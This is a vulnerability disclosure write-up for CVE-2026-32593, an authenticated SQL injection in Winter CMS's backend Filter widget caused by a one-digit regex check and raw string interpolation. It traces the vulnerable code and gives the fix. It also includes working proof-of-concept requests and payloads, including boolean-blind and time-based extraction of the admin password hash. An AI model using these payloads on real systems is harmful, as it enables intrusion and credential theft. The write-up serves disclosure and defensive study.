CVE-2026-32593 | How a Single Regex Character Broke Winter CMS Security
Introduction
Whatβs Winter CMS ???
Itβs a Content Management System (CMS) whose sole purpose is to make your development workflow simple again. Winter CMS is a free, open-source content management system based on the Laravel PHP framework. Originally forked from October CMS, it provides a clean and simple interface for managing website content while remaining developer-friendly.
The main purpose I chose Winter for testing is that Winter is built on the Laravel Framework, which means it inherits Laravelβs MVC architecture and Eloquent ORM - making it an interesting target for understanding how SQL injection vulnerabilities can still occur even in modern, well-structured PHP applications.
Winter Structure
Directory Structure
MyWinterProject
|-- bootstrap # Code used to bootstrap the application
|-- config # Configuration files for the application
|-- modules # Modules
| |-- backend # The Backend module
| |-- cms # The CMS module
| `-- system # The System module
|-- node_modules # (optional) Frontend vendor files managed by NPM / Yarn
|-- plugins # Plugins
|-- storage # Local storage directory
| |-- app # Application storage, such as media and uploads
| |-- cms # CMS auto-generated system files
| |-- framework # System and cache files generated by the Laravel framework
| |-- logs # Error and message log storage
| `-- temp # Temporary file storage
|-- themes # Themes
|-- vendor # PHP vendor files managed by Composer
|-- artisan # CLI entrypoint
|-- composer.json # Composer project file (managing PHP dependencies)
|-- composer.lock # Composer lock file (info on currently installed packages)
|-- index.php # Web request entrypoint
|-- package.json # (optional) Node project file (managing frontend dependencies)
|-- package-lock.json # (optional) Node lock file (info on currently installed frontend packages)
`-- phpunit.xml # (optional) PHPUnit configuration for running automated testing suites
Layers Structure
The code for your Winter CMS projects can generally exist as one of three different types of extensions:
| Layer | Description |
|---|---|
| Theme | Themes are responsible for the front-end presentation of your website. They contain layouts, pages, partials, and assets (CSS, JS, images). Themes work with the CMS module to render content to visitors. |
| Plugin | Plugins are the primary way to extend Winter CMS functionality. They can add backend controllers, models, components, and integrate with the core system. Plugins live in the /plugins directory and follow a Author/PluginName structure. |
| Module | Modules are the foundational building blocks of Winter CMS. The three core modules (Backend, CMS, System) provide all essential functionality. Unlike plugins, modules are typically reserved for core Winter functionality. |
The relationship between these layers:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Frontend (Themes) β
β Layouts -> Pages -> Partials -> Components β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Plugins Layer β
β Custom Models, Controllers, Behaviors, Widgets β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Core Modules β
β Backend | CMS | System β
β (Admin Panel) | (Frontend)| (Core Services) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Laravel Framework β
β Eloquent ORM, Routing, Events, etc. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
CVE-2026-32593
Title
SQL Injection in Backend Filter Widget numberrange Scope via numbersFromAjax
Severity
High - Authenticated SQL Injection leading to full database read access
Discovery Journey
I started my testing from the modules directory and went deeper to understand the architecture. First, letβs look at the structure of the modules:
modules/
|-- backend # Admin panel functionality (Our Target)
|-- cms # Frontend content management
|-- system # Core system services
I spent some time exploring the backend directory to understand the flow of the application. The backend module structure looks like this:
modules/backend/
|-- assets/ # CSS, JS, images for admin panel
|-- behaviors/ # Reusable controller behaviors
|-- classes/ # Core backend classes (FilterScope, etc.)
|-- controllers/ # Backend controllers (Users, Auth, etc.)
|-- database/ # Migrations and seeders
|-- facades/ # Laravel facades
|-- formwidgets/ # Form field widgets (datepicker, etc.)
|-- helpers/ # Helper functions
|-- lang/ # Translations
|-- layouts/ # Backend layout templates
|-- models/ # Eloquent models (User, AccessLog, etc.)
|-- reportwidgets/ # Dashboard widgets
|-- traits/ # Reusable traits
|-- views/ # View partials
|-- widgets/ # Core widgets (Filter, Lists, Form, etc.) <-- VULNERABLE
|-- ServiceProvider.php
`-- routes.php
Understanding the Data Flow
The key widget I focused on was the Filter widget (modules/backend/widgets/Filter.php). This widget is responsible for filtering list data in the backend admin panel. Let me illustrate the complete vulnerable flow:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β VULNERABLE DATA FLOW β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[1] Attacker sends malicious AJAX request
β
β POST /backend/<controller>
β X-WINTER-REQUEST-HANDLER: listFilter::onFilterUpdate
β Content-Type: application/x-www-form-urlencoded
β
β scopeName=price&options={"numbers":["0","9999 OR 1=1-- "]}
β
βΌ
[2] onFilterUpdate() receives request
β File: modules/backend/widgets/Filter.php:226
β
β public function onFilterUpdate() {
β $scope = post('scopeName');
β ...
β case 'numberrange':
β $data = json_decode(post('options'), true);
β $numbers = $this->numbersFromAjax($data['numbers'] ?? null);
β β
β βΌ
β
[3] numbersFromAjax() - WEAK VALIDATION
β File: modules/backend/widgets/Filter.php:1094
β
β protected function numbersFromAjax($ajaxNumbers) {
β $numberRegex = '/\d/'; βββ FLAW: Only checks if ONE digit exists!
β foreach ($ajaxNumbers as $number) {
β if (preg_match($numberRegex, $number)) {
β $numbers[] = $number; βββ Entire malicious string passes!
β }
β }
β }
β
β Input: "9999 OR 1=1-- "
β Regex: /\d/ matches "9" β
β Result: Entire string "9999 OR 1=1-- " is accepted!
β
βΌ
[4] setScopeValue() stores malicious input
β File: modules/backend/widgets/Filter.php:952
β
βΌ
[5] applyScopeToQuery() - UNSAFE INTERPOLATION
β File: modules/backend/widgets/Filter.php:845-857
β
β case 'numberrange':
β if ($scopeConditions = $scope->conditions) {
β $query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
β ':min' => $min, βββ User input directly interpolated!
β ':max' => $max βββ No escaping, no parameterization!
β ])));
β }
β
β Configured condition: "price BETWEEN :min AND :max"
β After strtr(): "price BETWEEN 0 AND 9999 OR 1=1-- "
β β²
β INJECTED SQL!
β
βΌ
[6] Final SQL Query Executed
SELECT * FROM `products` WHERE price BETWEEN 0 AND 9999 OR 1=1--
β²
Bypasses filter!
Code Analysis
Vulnerable Function #1: numbersFromAjax() - Insufficient Input Validation
Location: modules/backend/widgets/Filter.php:1094-1114
protected function numbersFromAjax($ajaxNumbers)
{
$numbers = [];
$numberRegex = '/\d/'; // BUG: Only requires ONE digit anywhere in the string!
if (!empty($ajaxNumbers)) {
if (!is_array($ajaxNumbers) && preg_match($numberRegex, $ajaxNumbers)) {
$numbers = [$ajaxNumbers];
} else {
foreach ($ajaxNumbers as $i => $number) {
if (preg_match($numberRegex, $number)) {
$numbers[] = $number; // Entire unsanitized string is kept
} else {
$numbers[] = null;
}
}
}
}
return $numbers;
}
Why This Is Vulnerable:
The regex /\d/ uses preg_match() which returns true if the pattern matches anywhere in the string. This means:
| Input | Contains Digit? | Passes Validation? | Should Pass? |
|---|---|---|---|
"100" | Yes | Yes | Yes |
"9999 OR 1=1-- " | Yes (β9β, β1β) | Yes | No |
"abc1xyz" | Yes (β1β) | Yes | No |
"SLEEP(5);-- 0" | Yes (β5β, β0β) | Yes | No |
Compare to Secure Implementation - The number scope type (non-range) uses proper validation:
// Line 826 - SECURE validation for 'number' scope type
case 'number':
if (is_numeric($scope->value)) { // β Proper validation!
// ...
}
Compare to Another Secure Implementation - The text scope type uses proper escaping:
// Line 874-877 - SECURE escaping for 'text' scope type
case 'text':
if ($scopeConditions = $scope->conditions) {
$query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
':value' => DB::getPdo()->quote($scope->value), // β Proper escaping!
])));
}
Vulnerable Function #2: applyScopeToQuery() - Unsafe String Interpolation
Location: modules/backend/widgets/Filter.php:845-866
case 'numberrange':
if (is_array($scope->value) && count($scope->value) > 1) {
list($min, $max) = array_values($scope->value);
if (isset($min) || isset($max)) {
/*
* Condition
*/
if ($scopeConditions = $scope->conditions) {
$query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
':min' => $min === null ? -2147483647 : $min, // Direct interpolation!
':max' => $max === null ? 2147483647 : $max // No escaping!
])));
}
/*
* Scope
*/
elseif ($scopeMethod = $scope->scope) {
$query->$scopeMethod($min, $max);
}
}
}
break;
Why This Is Vulnerable:
strtr()performs simple string replacement - no escaping- User-controlled values (
$min,$max) are directly placed into the SQL string whereRaw()executes the resulting string as raw SQL- No parameterized query bindings are used
The Safe Way (Laravelβs Parameterized Queries):
// SECURE approach using parameterized bindings
$query->whereRaw('price BETWEEN ? AND ?', [$min, $max]);
Proof of Concept
Prerequisites
- Authenticated backend session
- Access to any list controller with a
numberrangefilter scope configured with aconditionskey
PoC #1: Boolean-Based Injection (Bypass Filter)
Request:
POST /backend/<controller-url> HTTP/1.1
X-WINTER-REQUEST-HANDLER: listFilter::onFilterUpdate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: <valid-csrf-token>
Cookie: admin_auth=<session>; winter_session=<session>
scopeName=<scope-name>&options={"numbers":["0","9999 OR 1=1-- "]}
Resulting SQL:
SELECT * FROM `products` WHERE price BETWEEN 0 AND 9999 OR 1=1--
Impact: Returns all rows, bypassing the intended filter
PoC #2: Boolean-Blind Data Extraction
Extract Admin Password Hash (character by character):
options={"numbers":["0","9999 AND (SELECT SUBSTRING(password,1,4) FROM backend_users WHERE login=0x61646d696e LIMIT 1)=0x24327924-- "]}
This confirms if the admin password hash starts with $2y$ (bcrypt identifier).
PoC #3: Time-Based Blind Extraction
options={"numbers":["0","9999 AND IF((SELECT SUBSTRING(password,1,1) FROM backend_users WHERE login=0x61646d696e LIMIT 1)=0x24,SLEEP(3),0)-- "]}
- True condition (char is
$): Response delayed ~3 seconds - False condition: Response immediate
Remediation
The Fix (Applied in Winter CMS v1.2.13)
The fix involves two changes:
1. Proper Numeric Validation:
// BEFORE (vulnerable)
$numberRegex = '/\d/';
if (preg_match($numberRegex, $number)) {
$numbers[] = $number;
}
// AFTER (secure)
if (is_numeric($number)) {
$numbers[] = $number;
}
2. Parameterized Queries:
Use Laravelβs query builder with proper bindings instead of string interpolation:
// BEFORE (vulnerable)
$query->whereRaw(DbDongle::parse(strtr($scopeConditions, [
':min' => $min,
':max' => $max
])));
// AFTER (secure)
$query->whereRaw(
DbDongle::parse(strtr($scopeConditions, [':min' => '?', ':max' => '?'])),
[$min ?? -2147483647, $max ?? 2147483647]
);
Workaround (If Upgrade Not Possible)
Apply commit 50713de manually to your Winter CMS installation.
References
- CVE ID: CVE-2026-32593
- Affected Component: Backend Filter Widget (
modules/backend/widgets/Filter.php) - Affected Versions: Winter CMS < v1.2.13
- Fix Commit: 50713de
- CVSS Score: High (Authenticated SQL Injection)
This vulnerability was discovered during security research on Winter CMS.